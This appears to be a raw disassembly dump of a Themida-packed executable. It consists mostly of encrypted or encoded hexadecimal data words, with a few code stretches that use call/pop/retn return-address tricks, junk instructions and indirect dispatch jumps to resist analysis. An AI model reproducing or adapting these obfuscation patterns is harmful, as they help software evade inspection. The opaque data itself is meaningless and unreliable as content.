0A16A9E8Dh dd 6CED23F9h, 0A1D606E9h, 0C6D323F9h, 981B397Dh, 0C5E9EE13h dd 3D17412Ah, 0FB54EFF9h, 58F78A8Eh, 5E0D5C0Ch, 0B8EF015Ah dd 351F3952h, 0E7D9B721h, 0F9FED404h, 83CCD923h, 20B252h dd 0E6B10000h, 9B7EC8C0h, 23F9979Ch, 3F2E727Fh, 23F9980Bh dd 0F36FE073h, 5A5EAABBh, 0F3C0h, 7CD9BF00h, 533A8ED2h dd 0A5ADAA00h, 41122B5Ch, 0B14F803Eh, 9599ADA7h, 7CDDC617h dd 0FA4396DAh, 0BC92C3B6h, 173D2478h, 6D9EF135h, 694C0154h dd 1C15B039h, 17402936h, 5BA4F73Bh, 72E2C911h, 5E4396DAh dd 1C15B02Eh, 0A3A1D2Bh, 0F1C15B0h, 2588B902h, 15B4AF14h dd 17371E1Ch, 0C886CFE4h, 0F1BF977Eh, 52A5E963h, 4172C509h dd 0C9C1E7CDh, 0C7E19C7Fh, 0D1E323F9h, 3015FA3Fh, 99306187h dd 3F51598Ch, 0C206E933h, 0E72BE121h, 0EC351D3Ah, 0B298BBA2h dd 3522097Fh, 80D3EC1Dh, 9D44D8CAh, 2C50C2A6h, 0DBB2Fh dd 193F1B00h, 0CE88D1E6h, 7ECE869Bh, 3222364Bh, 0E169EAFFh dd 0C517AAEh, 0BBD00347h, 6E83B69Ch, 203568E8h, 81E61935h dd 23043417h, 550923FFh, 0D07AD954h, 0FF573E86h, 0D5BA0D51h dd 1C158EA5h, 0A1B49DAAh, 4197CADh, 4FCAFD51h, 7EC8C0E6h dd 5094C297h, 6F52CCFDh, 23F99870h, 0EDD41E2Bh, 51A4E86Ah dd 89BDAC20h, 0C23F997h, 0CFC2064Ah, 77E0C987h, 1D6297DBh dd 7D515532h, 6192C296h, 72592728h, 0A03869E1h, 5A5EAAC8h dd 0C76Fh, 7CD96E00h, 0B89B8ED2h, 8E7EAE91h, 0CE7B1C15h dd 367FC888h, 9EB79EF2h, 0DC796CB0h, 92DB2E72h, 93E74C61h dd 6FE61C15h, 0BE97ACDFh, 40664C90h, 0EECFE48h, 4DF884D6h dd 2C75DF79h, 0E39E81FBh, 0E523FA88h, 0B2F656FEh, 8A972E5Fh dd 31394F57h, 67AF04E7h, 53002BE1h, 0B3064A00h, 83C78FCAh dd 0B69DE730h, 99C9AC9Dh, 961C17A2h, 970D4089h, 4C0CA8B0h dd 2871C408h, 0D575DEF7h, 0A6C92FE3h, 322F53C2h, 0CA4h dd 0FD302832h, 0B2E571E8h, 6295B79Dh, 16490B4Dh, 0C5F85201h dd 30232A91h, 85D2E71Ah, 0D1859ACDh, 1E374C7Fh, 2E98FD30h dd 0FF241B4Bh, 6B6C2023h, 9DD07AD9h, 3D194027h, 5C75A6F9h dd 0A72255F9h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 4E7E61A9h dd 4B1C158Fh, 39FDD373h, 0BC05AD54h, 129F768Bh, 0FF0C23FAh dd 1198CCBBh, 6D0023FAh, 20D686E2h, 7555A5Eh, 54000000h dd 8DFCFh, 0C0E6D400h, 53367EC8h, 1C158F23h, 0BD685028h dd 0F940585Eh, 22057FB0h, 23FA1117h, 0CEFEE129h, 0CB23F9FEh dd 1EF68DBEh, 0FF00B58Ah, 1E3720E3h, 0B69DE730h, 0A4610A0h dd 0F92A73C6h, 0C0C39285h, 149DD4B7h, 0C9FC45A2h, 69ADA1B4h dd 5E292E15h, 84235D2Dh, 5B8CD537h, 3DCA3C46h, 0A0E96F8Bh dd 5847F1C1h, 6CB0F986h, 2C70DA79h, 0CDBA9514h, 46A3AC53h dd 0ADF53F0Fh, 0B63D9ACAh, 61F29F7Ch, 0C6FA0E9h, 0ACF05EF7h dd 0B63D8ABDh, 3143C97Ch, 0BFBF8BC9h, 0D714957Ch, 2DD83145h dd 400F4879h, 699CB2A3h, 94D0154h, 0B591E31Ah, 0A8A71C7Ch dd 0EA341A3Bh, 0BBFF5503h, 5ED43768h, 4374E277h, 0D1832B2Ah dd 8BD47ADBh, 0F618FE42h, 8168B0FAh, 0D476DDD7h, 0B0F43D90h dd 0C9CE4392h, 7CC58A14h, 4CCF364Bh, 0AFBCC359h, 1BD8D07Ch dd 0A1B3FDF5h, 0E920DAAAh, 86CE8A05h, 75A6EF42h, 0E91118FBh dd 91BBCB4h, 11506EFAh, 0FA91C2EFh, 98BCA3EDh, 0D4A0D0B3h dd 909DBB74h, 0E5701647h, 9985B5A4h, 2670788Eh, 0A76B2114h dd 7FB0206Fh, 0B7772205h, 0BF6C6548h, 2377BB99h, 0C0A51040h dd 0B7000D62h, 22442A6Eh, 6CF9DC26h, 406AA855h, 9DCDB0F8h dd 0A25D6234h, 3480B095h, 5DFB5D62h, 0F960B3F7h, 1724BBECh dd 0DF6FE6CDh, 90BE97ACh, 5C378A9Eh, 0D5D2F681h, 0AB0h dd 0F1243426h, 0A6D97DDCh, 5689C391h, 0A3D1741h, 0B9EC5EF5h dd 3C172685h, 91C6DB0Eh, 0DD798EC1h, 2A2B4073h, 228CF124h dd 0FF260F3Fh, 57580C23h, 0E0D27CD9h, 0C2A8DCDEh, 71252246h dd 6500000Ah, 1B3063F5h, 0D0E5183Eh, 8095C884h, 34497CD8h dd 0C4F82B1Fh, 4DFD56E7h, 52051Ah, 0B29EB8CDh, 63EB6A7Fh dd 7E61CB30h, 23FF264Eh, 0D996974Bh, 9B8ED27Ch, 364892B8h dd 90E9C9E3h, 0AD10419Dh, 3A4C0901h, 0B59CE42Eh, 6A7FB0A2h dd 23FA6F63h, 1AA51B28h, 0E5B780ABh, 0DE6EE6CDh, 838FA1ADh dd 4F075239h, 0D87B80Bh, 536D7F2Ah, 7659A1EAh, 0DDD36B46h dd 6E053643h, 11371D61h, 7587CF19h, 32268895h, 0BDE10E22h dd 0D505E832h, 0DADDD2B8h, 0FA879CCDh, 0D2E5BA69h, 0A0E46AEBh dd 78851C4Dh, 0CDD4E62Eh, 0C5B4C380h, 0CAA7449Ah, 0EA33AE62h dd 0F9B5A0B9h, 63ADF660h, 4677DB7Ch, 0D0866DE3h, 0B8E93C80h dd 0A698B69Fh, 0FC4ED50Eh, 9DC9C6EAh, 39000009h, 0EF043721h dd 0A4B9EC6Ah, 54699CB0h, 81D5004h, 98CCFF4Bh, 21292A33h dd 0D47ED9EEh, 86CA8CA1h, 37173E53h, 52359F04h, 23FF2722h dd 0D9727327h, 9B8ED27Ch, 0EF61F5BBh, 0DC0F58ABh, 97965466h dd 0E783B67Ch, 0BBD1A1B6h, 37591C15h, 0AE91B89Bh, 1C15BB7Eh dd 0E1256E7Bh, 0BB7AAA8Dh, 727F1C15h, 0B396E029h, 23FF4D74h dd 64E66D54h, 458F9C33h, 1CDCEBFDh, 93CDC2B2h, 420C4962h dd 0F35BFA0Fh, 0B397BCAFh, 7DD58269h, 41B5E639h, 5648084Eh dd 0BABEF874h, 16F6C90h, 0D5000009h, 8BA0D385h, 405588CEh dd 0F0053814h, 0A4B9EC68h, 34689BAFh, 0BD8DC697h, 70E2758Ah dd 222E283Dh, 0D37BDAEFh, 0EED13BA0h, 23FF26BEh, 780607BBh dd 5788C291h, 0F337173Eh, 0B09CB89Fh, 5FEF667Fh, 202D281Bh dd 158F0D3Dh, 0BC05121Ch, 7FD18578h, 0ABA4233Bh, 0E16EB3DEh dd 45325104h, 25D94BB0h, 91D57DDAh, 62ACF53Eh, 7CF09650h dd 79AA6F69h, 0E52A8216h, 3D515DBAh, 50000005h, 7EC8C0E6h dd 0FF205C9Bh, 4E313F23h, 23FF201Eh, 3F49C96Eh, 0E2493488h dd 0FA428CD5h, 0CC104613h, 262F4879h, 987FF528h, 0ED65F2BEh dd 0DC0D56A9h, 6BAFB3D0h, 6B18977Ch, 67E87B9Dh, 0BEEED119h dd 0BB9A9AFFh, 0FF9ACAADh, 929F9A9Ah, 28801849h, 4F233FEEh dd 57h, 0F8280B53h, 0F59A9B07h, 0E638B7E8h, 337BC5CDh dd 8ED808EBh, 5531C15h, 0AADBE84Fh, 158E6595h, 195D6A1Ch dd 7CF13A2Ah, 400FA23Ch, 54FA5B42h, 0FDD38B23h, 6C7E7DDDh dd 0CF19F5B3h, 3FDF10FAh, 13h, 21ECF3Eh, 0F2D90000h, 163D2366h dd 0C7119693h, 78CE4D7Eh, 5889C391h, 0E72B374Ch, 81FB13F8h dd 575FFA95h, 0C5095200h, 89CD85D2h, 94F15E05h, 3452FD90h dd 145074Dh, 0FA9ACAADh, 929F9581h, 28801849h, 7524D6CFh dd 468ACA8Eh, 74B0153h, 3E216BB4h, 9581EF0Eh, 2DCDFE0Bh dd 20h, 0C4CDE62Ch, 158EB1E1h, 58A1AE1Ch, 0FB212514h, 0D6699581h dd 0F3BDED79h, 6ABA24D6h, 0B9000000h, 7BC5CDE6h, 0D808EB33h dd 0D51C158Eh, 0D775DFC8h, 8E6191A6h, 515E1C15h, 1C382007h dd 65485D8h, 0FE6A619Ch, 3224351Ch, 0DB87C801h, 5DBADC83h dd 34A8h, 0CDE6A700h, 4C337BC5h, 15460Ah, 1C158ED2h, 0C3A7BECBh dd 9DB28BC9h, 0BA9F99D1h, 139E5Dh, 789D0000h, 5C8DC791h dd 14339h, 0FD5C4300h, 91C21559h, 0F1CF12h, 78D40000h dd 8F1D4D30h, 15221C15h, 17BBD8E4h, 0D9CC103Eh, 3D90D47Eh dd 7867ABF4h, 7165D29Fh, 0F36FE073h, 8EADCBBh, 0A8C0h dd 0CDE6BF00h, 8EB1E1C4h, 0A1AE1C15h, 0FB2B0E58h, 1C158Eh dd 7E61A9F3h, 1C158F4Eh, 990D3E4Bh, 35BB96AAh, 0D57FD93Ch dd 97B79E91h, 2728CF53h, 7082565Ah, 61E4C26Eh, 0C80132C1h dd 0C883DB87h, 4FA87D9Ah, 0A7000000h, 7BC5CDE6h, 44084C33h dd 99C9AC00h, 961C158Eh, 0FA0F4089h, 1C158ECAh, 2A7EC2CFh dd 0FC401643h, 4F6378A9h, 0B78935BCh, 765D2B24h, 0D82B6FDFh dd 0BB7BAB8Eh, 73808935h, 0B2F2AA42h, 579F309Ah, 35B44474h dd 0B3C4989h, 146Bh, 91786A00h, 75A588C3h, 7A1C158Eh, 0D0F3246Dh dd 64h, 0C39178D5h, 9BB7A089h, 4A04516Ah, 8CCBB206h, 4D8095C6h dd 911C158Fh, 79DC0946h, 0E627A2D5h, 0CAAEC5CDh, 46044F8Dh dd 7450F02h, 0B7983FC3h, 0BF9069CAh, 159C3026h, 7371A1Ch dd 41C159Ch, 0FCB392Ch, 6BB40B63h, 0BFE3BA22h, 0DC865DBAh dd 85FFFFFEh, 1D4D3078h, 221C158Fh, 7DC1E415h, 0C6000002h dd 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 42BB4CDFh, 851E520h dd 5AD4054Eh, 23292B12h, 6E9ADDF2h, 50FD23FAh, 0B4FE4703h dd 1141246Ch, 0E23FA6Eh, 6DEC1C01h, 44F123FAh, 0C1F23B0Fh dd 6E2A5E4Dh, 0A7AD23FAh, 0B9FD4F05h, 0E6D91D66h, 849CE070h dd 393D4A05h, 0EDBDA9A6h, 8A5A5E40h, 29h, 0C8C0E689h, 979C9B7Eh dd 727F23F9h, 78C8DA2Eh, 0B8414EA9h, 98CCE112h, 23F9A5h dd 0D686E26Dh, 555A5EB4h, 0A5h, 0C8917854h, 0C6F74A8Eh dd 62A6A8ADh, 1C66E46Fh, 0EA2E2035h, 0AFF361F7h, 6EE2135Ch dd 2A74DA7Bh, 0E8476218h, 0E3147243h, 74D97C6Fh, 166A6191h dd 8515E1Ch, 6F5FC4D5h, 87CE1C16h, 7A8C94C7h, 6A41246Eh dd 4523FD4Eh, 4C07EE38h, 6E55CBFEh, 1E3768E8h, 9D231535h dd 0E1BAC29Dh, 4DAC0BDh, 5EFC0000h, 0A7B2C7FAh, 0ED677CAFh dd 41172C5Fh, 88CBE013h, 705B8FC2h, 0B1E466EDh, 6497BB9Ch dd 1649074Fh, 0C7FA5401h, 0E515F862h, 0EA23FF2Bh, 7AD93536h dd 0B79F86D0h, 0B2F660F9h, 82E5165Fh, 3366E86Dh, 0D27CD9B8h dd 93BA9B8Eh, 158E80B0h, 27707D1Ch, 197CBDDh, 8B9FABA8h dd 2E5F6B3Eh, 0A5ADC3CBh, 0EC11785Bh, 717E23F9h, 0EB0C3E2Dh dd 0CA8F23F9h, 355488Ch, 0E2890D51h, 0B0F5206Dh, 86CFE19Fh dd 71E8C96h, 0EC020E3Fh, 6B529AE4h, 0CC1F63E9h, 0FA3CB7E7h dd 0BEA7B423h, 0A84B595h, 0DE59C027h, 6B9EAB2Bh, 0B0A54D63h dd 0F0675A9Eh, 86D01962h, 0FFD264A3h, 606F4723h, 82AAE683h dd 90D8226Bh, 0BFA2ADA9h, 23FEB98Fh, 5367F8Ch, 0B1E468ECh dd 0FEB976A0h, 0EF61F523h, 202993A5h, 85E0F49Fh, 0E6397DCFh dd 0EA096C9Dh, 62h, 8EA9DDEFh, 1B391C15h, 2F73E177h, 4B6093DCh dd 0ABFF4309h, 8F508063h, 404D1C15h, 8ECAFA0Fh, 5A361C15h dd 23292B12h, 77A78CDFh, 741C158Eh, 52FD3667h, 5A8DBF95h dd 0FB3F1145h, 158ED90Ch, 0ADA24D1Ch, 0E26F1640h, 0C06F68CAh dd 3EB4E730h, 0FDE313F6h, 0DBE81C15h, 0FD7EAE91h, 6E7B1C15h dd 7DD9BE3Dh, 0BA9C8FD3h, 0F45F5296h, 381F1256h, 3175DD7Ah dd 475195DEh, 0BBE6A3ACh, 0C4ABD976h, 748DBE92h, 0C53B6EE2h dd 1A3A7ADEh, 529BEE32h, 758ABB0Eh, 1C15A23Dh, 8D712890h dd 5EF85DBAh, 0F7FFFFFFh, 0EED17CD9h, 1C158EBEh, 0CC331D39h dd 3F3276BFh, 8F053816h, 47F1C17Dh, 70A102F0h, 0FC464264h dd 0F9CAD619h, 82CCD923h, 0D5AA2470h, 0E3BDD183h, 34A3E938h dd 0D62085A9h, 0F9E85C8Dh, 23FA1CC5h, 0B9B59A2Dh, 5A5E11E1h dd 1D8FC5ACh, 83D61A3Ch, 72A3F63Ah, 55D2h, 0C0E6D100h dd 53367EC8h, 1C158F23h, 78DE7B28h, 8498E134h, 0F3793C13h dd 79F324E2h, 0FA5C9796h, 8669B123h, 23FA5B56h, 19FC4653h dd 23FA5AE9h, 11A8D9E6h, 5AF02003h, 0E0ED23FAh, 0F0664D97h dd 0CCBB2F60h, 23FA5A98h, 86E26D00h, 5A5E6FD6h, 0D755h dd 7CD95400h, 0B89B8ED2h, 0FA5B4E92h, 9DB1A5B4h, 7FF5E69Fh dd 1357A00Fh, 0E6193520h, 15CB70D5h, 56F85D1Ch, 3C470E23h dd 0CEF942Fh, 1C15CBDCh, 47C0D4E1h, 8BCF18C4h, 71E783A5h dd 8509AE3h, 7CADDDC0h, 0ECCF1C16h, 1C167CBCh, 404DB4C1h dd 8BB3FA0Fh, 2E1523FAh, 62F92A2Ah, 0F41A2255h, 0F2CFB2FCh dd 6D2BE158h, 79BD99C0h, 0AC93DD26h, 5B70A3A7h, 766052F8h dd 8EC2A6D2h, 21A6D6Ah, 9EBC0000h, 0E77287BAh, 2D273C6Fh dd 81D7EC1Fh, 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch dd 0D609470Fh, 87BA94C1h, 0A5D5B822h, 0AA23FF2Dh, 7AD9F5F6h dd 474DC105h, 0B7008D5Fh, 30270E84h, 377BD382h, 4579BE4h dd 0B39BBAD3h, 7DD58269h, 5CFDE639h, 0EB66C9FAh, 7EC8C0E6h dd 0F9979C9Bh, 2E727F23h, 0F9980B3Fh, 8ACA8E23h, 4C025346h dd 0DE71F008h, 0E2C99DA1h, 0C9F9DC75h, 0C623F997h, 0D92C70B9h dd 84E06FA8h, 5A5EAAD4h, 0E753h, 0C70F5700h, 0F993B4E4h dd 0C7ACB923h, 23F99397h, 0D7568794h, 8ED27CD9h, 4E92B89Bh dd 8256E8FAh, 3AE9393Ch, 0A2EC351Dh, 16508FBFh, 4E7F8C1Ch dd 1655D439h, 321C391Ch, 436BEAFFh, 97BB9C12h, 5DEF654Eh dd 397DC619h, 0EB353D53h, 0FB5B4F04h, 75BE1155h, 33ADDE31h dd 0FA640950h, 7ED98623h, 0F43D90D4h, 554498AAh, 7520A4CAh dd 0B7D9E144h, 0CA8A71BBh, 0BAEB3E82h, 7F215D40h, 78862BE0h dd 187D6595h, 145D6A1Ch, 0DA70E3CAh, 35654890h, 3A1C187Eh dd 8499FC2Dh, 63897BCFh, 2FC2A5EEh, 0E60E0Bh, 6AF00000h dd 0B3A6BBEEh, 0F95B70A3h, 4D0B2053h, 94BFD407h, 6C4F83B6h dd 0A5D872E1h, 588BC790h, 0A3D1343h, 0BBEE60F5h, 0D909EC56h dd 0D623FF2Fh, 7AD92122h, 0CD889DD0h, 0C6D84E81h, 0DB6C6866h dd 4CCBFCE7h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 0FF20CB0Eh dd 5106ED23h, 6139D001h, 64CB19C5h, 2151348Eh, 1E23FEB3h dd 357FC811h, 13226223h, 0EBFB0F45h, 87FB2CF9h, 6AEDC194h dd 0FA58FFE8h, 0D1F67B1h, 3186F500h, 4D7D62F3h, 5223FEE9h dd 9CB11445h, 644B95B9h, 0BB2F60F4h, 0AE0062CCh, 2629D078h dd 7FB29CB9h, 1B332209h, 0E074E4D7h, 0EC00499Ch, 411D09B7h dd 486192D6h, 10F7410Dh, 67DB0C48h, 83D0E474h, 0D8212F27h dd 0A6414B8Fh, 35193CA9h, 0E668ED02h, 0EF674EA2h, 99CA1D61h dd 376h, 3A697B00h, 93D781D9h, 5599B5A0h, 185CF462h, 0DC203225h dd 9CE06AE9h, 5CA0AAA9h, 2165EF69h, 0E226262Eh, 0A8EC6AEFh dd 0E189516Ah, 4C181h, 0E9810000h, 4, 5C240C87h, 68243C89h dd 275Dh, 50241C89h, 405E089h, 83000000h, 48704E8h, 0C895C24h dd 0BA525024h, 5D927082h, 0BB5AD089h, 657C036Bh, 6858C329h dd 7394h, 81242489h, 42404h, 52590000h, 8BAh, 89CA0100h dd 24148B1Ah, 0FF04C483h, 81592434h dd 4C4h, 2434FF00h, 4C4835Bh, 0FBBC20E9h, 22B831FFh, 307E9A2h dd 5E0FFC5h, 0B9590493h, 2C4C6E91h, 5C6D3EE8h, 13281961h dd 4966A2DEh, 4F6657DBh, 0F77C403Bh, 7A0D0331h, 305D7FC4h dd 4E06A257h, 24267887h, 8E0E2A47h, 0EF05DEABh, 0E45B35CCh dd 0E35A1942h, 0E82A7E86h, 13h, 61C79BDh, 1ACE01CCh, 6C5A7736h dd 552D1A5Fh, 66F371EEh, 0F959F98Bh, 6DDEC181h, 60600000h dd 830Fh, 840F0000h, 0 dd 0CE861h, 0D2850000h, 0F2A750C4h, 0BD8207B2h, 0BE88745h dd 0AC000000h, 33784922h, 6962E7B1h, 5B5FAC2Ch, 0BA61h dd 0CE810000h, 1833055Ch, 0F0A34FFh, 0C86h, 7E900h, 32240000h dd 7B91CBEBh, 8D0F58D4h, 3, 81FDD780h, 8C7CF0C0h, 0A8E88107h dd 604B05A1h, 61FEBF0Fh, 0E4D5F081h, 51606A5Eh, 8B5F6160h dd 48961CFh, 0FFB70F11h, 0B026BF66h, 6604EA83h, 0E35DC681h dd 92DCFA81h, 850FFFFFh, 0FFFFFFA4h, 0CDEEF381h, 0B0E924F7h dd 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 19D853Bh, 840F07E4h dd 36h, 1DE1853Bh, 840F07E4h, 2Ah, 0DE1853Bh, 840F07E4h dd 1Eh, 2255853Bh, 840F07E4h, 12h, 22ADBD83h, 0F0107E4h dd 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h dd 840FC985h, 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h dd 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h dd 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4FE79D8Dh dd 5B807E4h, 0FF000000h, 0BC361E3h, 13FE9D0h, 0F600000h dd 683h, 8B0F00h, 0E9000000h, 13h, 0A3DB8371h, 54D1D316h dd 6F5CC845h, 0D00935F5h, 616D2025h, 0A4EFB58Dh, 6A07E9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 59446BC3h, 32E29120h, 0FE9E9h, 4A2F0000h, 4138D80Bh dd 0F6804BABh, 0AE556D4Bh, 17858D5Ah, 6A07E784h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 72AEC351h, 0F5D0FFF8h, 8C66F9C3h, 0AE9D9h, 6C6A0000h dd 1C4898Fh, 0B8BDC796h, 0F04C1F6h, 4E84h, 0DE96000h, 19000000h dd 85671DBh, 0D882984Dh, 0EECB6229h, 8B614AB7h, 32CB8BFBh dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah dd 1B8h, 8B09EB00h, 0B8E4EB00h, 0 dd 0FF560CFh, 287h, 6189B700h, 569BB660h, 0FE9h, 0EB207300h dd 7ED2E721h, 0C307A9A4h, 0FB9D37EEh, 6A6159h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 8065C3h, 3885C782h, 3F07E9A5h, 0E8000101h, 0Bh, 0FB522869h dd 0D9A5918Dh, 0F01B051h, 665FF6BFh, 0C781F28Bh, 6732h dd 0AE8h, 0EC209E00h, 0A07D2ECFh, 0F4F02A7h, 187h, 0BB59F800h dd 5D5F9A47h, 7F53C381h, 0C880A2A0h, 0F9178BE1h, 2E4EEA81h dd 0CE8B1FE0h, 0DCBFF281h, 81664021h, 81B936EEh, 14C0D6EAh dd 9B86B959h, 8052305Bh, 78F49F0h, 6E9h, 6962E700h, 8350AC2Ch dd 4FFC02EFh, 850F4B4Fh, 2Bh, 0DE9h, 9DDD7600h, 0CF886F59h dd 0E6BF9E6Ah, 3BE98D46h, 24000000h, 2D8E32D9h, 0A1A217C1h dd 0CA1E6D4Ah, 289EFDE2h, 0E9CACEB1h, 9, 82379D5Bh, 0F03D010Dh dd 0FF83E904h, 273EFFFFh, 0C024B893h, 2E08A1F0h, 3A0E8760h dd 35747CBAh, 8D8D7972h, 7E9A75Dh, 6D18D01h, 8D8907E4h dd 7E41B71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0FCC35343h, 0AE984ABh, 51000000h, 152109C4h, 0C8599CE1h dd 0A185C7A0h, 0F007E42Dh, 6A000072h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E1A2C352h dd 63E76833h, 0BE66C3A5h, 85C74B86h, 7E422B9h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5DCB8F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DCB8F proc near ; CODE XREF: Themida_:005DCB87p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5DCB8F endp ; --------------------------------------------------------------------------- push es ja short loc_5DCBCC mov edi, 0BA661012h dec esp adc bh, bh mov ch, 11h sbb ah, ah pop es push 0 push esi call sub_5DCBBA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DCBBA proc near ; CODE XREF: Themida_:005DCBB2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5DCBBA endp ; --------------------------------------------------------------------------- dw 0CE43h ; --------------------------------------------------------------------------- loc_5DCBCC: ; CODE XREF: Themida_:005DCBA0j db 64h push edx mov [ebp+7E413B9h], eax pop ebx call dword ptr [ebp+7E43061h] or [ebp+7E417E1h], edi push 0 loc_5DCBE3: ; DATA XREF: Themida_:00582B5Co call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5DCC5C ; --------------------------------------------------------------------------- db 15h, 0D0h, 0D1h dd 5F77219Bh, 3FDAA33Fh, 0F4EC9734h, 0F071AD74h, 1C9B6688h dd 1C3B41A8h, 257AFA48h, 0B26FA382h, 927595E2h, 0A1D45BCDh dd 0A3A059C4h, 9650ED45h, 0EC1672C0h, 3DA62D65h, 0DCFCC9CFh dd 5037AB0Dh, 689A5350h, 0B86936C4h, 52F57A2Ah, 84E733E6h dd 0B1AB373Ch, 0D3B6E1EFh, 6F513E71h, 808ABD0h, 0C8E4465Fh dd 0A6396C5h, 0A7A45CCFh ; --------------------------------------------------------------------------- loc_5DCC5C: ; CODE XREF: Themida_:005DCBEBj jmp short loc_5DCCBE ; --------------------------------------------------------------------------- align 10h dd 17h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5DCCBE: ; CODE XREF: Themida_:loc_5DCC5Cj jmp loc_5DD7D7 ; --------------------------------------------------------------------------- jmp loc_5DD7D0 ; --------------------------------------------------------------------------- push 7E9B02Fh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E9B158h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E9B1AEh jmp loc_58A287 ; --------------------------------------------------------------------------- dw 0D9B1h dd 340D23B7h, 8E6A8014h, 0EBCAE074h, 522D43D7h, 23C9A236h dd 9F334F2Ah, 0FD91AF89h, 5FF309E7h, 0C0546C49h, 1BE05D0Dh dd 0B713AB08h, 668DA72h, 0CAB0CF41h, 56673C4Eh, 0C8265E7Ch dd 0BDC3E8C2h, 4A3C3C86h, 69BB40BDh, 0AE171442h, 3AACFC55h dd 6C986F2Bh, 688A9C20h, 4F2A7552h, 0D4A2DA33h, 0DAA8E0F6h dd 0DCAAE200h, 3395E501h, 4234C1B6h, 12248D14h, 87A37E4Ch dd 8EA2814Fh, 92AC8856h, 93B38C5Ah, 0A30B845Bh, 93F2D653h dd 178013ABh, 305029C7h, 97177D9Ch, 683E547h, 13A89B71h dd 696274DDh, 13A89B9Eh, 0ED8BDB44h, 0CDE7C312h, 8FA1FA95h dd 0FF1EFBC9h, 34108819h, 67FB543Dh, 2E795696h, 68033B4Fh dd 21AAC80Fh, 0FE18F492h, 67799972h, 165D5144h, 9A957D4Eh dd 5BE55FE5h, 78h, 0EAFEDD7Bh, 596B7F5Eh, 0B3309284h, 1442A0CCh dd 0EC0F218Ah, 92BE05A9h, 42A06E15h, 7150EC14h, 0EB900D5Dh dd 671442A0h, 925EA5FEh, 0C6FE18F4h, 0E23B192Bh, 0D5D7D56h dd 6779936Fh, 18F49292h, 192BC6FEh, 30920419h, 38D7C3BEh dd 0B41F1DAFh, 14429ECFh, 21597550h, 40CC3586h, 78134B63h dd 409466h, 0A81A0000h, 26F863AFh, 0DDA21F9Ah, 7914426Ah dd 0D0A5B710h, 1F66484Dh, 51CE3092h, 1442A0AAh, 754FB828h dd 49B4D9B8h, 5C23A0F0h, 0FA1442B2h, 0F1867F91h, 1C1442B2h dd 3992EE35h, 165D7D56h, 424D5B70h, 219F1C6Ch, 7013A68Bh dd 8CEA910Eh, 0FF6813A6h, 6DA50EEDh, 0A68C3FC0h, 647A5813h dd 37805E2Ch, 6F0A425Ah, 7AFDDE16h, 1D2E86CAh, 53D03269h dd 13A68CACh, 2061C12Ah, 5880DB28h, 0B6492436h, 1FD87749h dd 1CFh, 67474D48h, 0A0ED9A17h, 10791442h, 152D0AD8h, 7956B081h dd 21AA1A61h, 1F66484Dh, 9A957D4Eh, 5BE55FE5h, 3Ah, 1B209284h dd 0C2DC54D2h, 464F7284h, 0E43D5B35h, 6E15929Dh, 0EC1442A0h dd 30923C83h, 0E7D672BEh, 0C6D86E0Ah, 5D7D56F1h, 0FB209216h dd 394A3435h, 8BA0A0B2h, 579Eh, 484D2D00h, 30921F66h, 42A0CCB3h dd 5B714F14h, 0CE378823h, 9A61DEBCh, 0F71442A0h, 0B1E9FFDDh dd 0B6DBD16h, 42A0E98Eh, 0EFC96514h, 0A5FE99D1h, 3992BE93h dd 619F492h, 42A0F289h, 9EF76014h, 9FB9CB66h, 705FA6C6h dd 7552F052h, 1F8A255Dh, 1442A058h, 0A67B8DF6h, 0F370474Dh dd 1442A00Ch, 0B80861CAh, 0F1EBE456h, 675B0FACh, 0EB35C55h dd 0CE401442h, 561F508Ah, 698761FDh, 2B3D9631h, 2193E34Ch dd 0EBC864B9h, 0E5FD73D3h, 3D0BD1E3h, 0DAB44860h, 5AE89168h dd 11ECCF3Fh, 9B71E2F4h, 0F5CADC35h, 115F492h, 21C2EC9h dd 0AAC60D25h, 0B9209221h, 934CF2B3h, 9AFB1E30h, 7D4ECD14h dd 5FE59A95h, 545BE5h, 4D840000h, 921F6648h, 9CB69230h dd 0BEB7C964h, 1442A039h, 92E52C95h, 99B99230h, 7D56B287h dd 0C13E4D2Ah, 1442A03Ah, 7DD62F98h, 64B58F2Dh, 9A356D89h dd 0E26E0941h, 16B1E909h, 20922F04h, 7D1F58E6h, 0A9A9BB86h dd 539E94h, 86240000h, 0BC578FABh, 3092D5AAh, 42A0CCB3h dd 13EE8A14h, 0CB24BFF7h, 0AFFF96B9h, 0CDE3C15Fh, 1592E6BBh dd 1442A06Eh, 927DC4ABh, 0AA51CE30h, 281442A0h, 92D8ADBFh dd 0A0CCB330h, 218A1442h, 0FC1CF50Fh, 1C2092B5h, 0A538557Fh dd 82BAD2AFh, 7C7C8EE7h, 0DD9E67h, 922D0000h, 0A0CCB330h dd 714F1442h, 3788235Bh, 0FB99BCCEh, 2A8AA480h, 112D0CE0h dd 0C2126B4Eh, 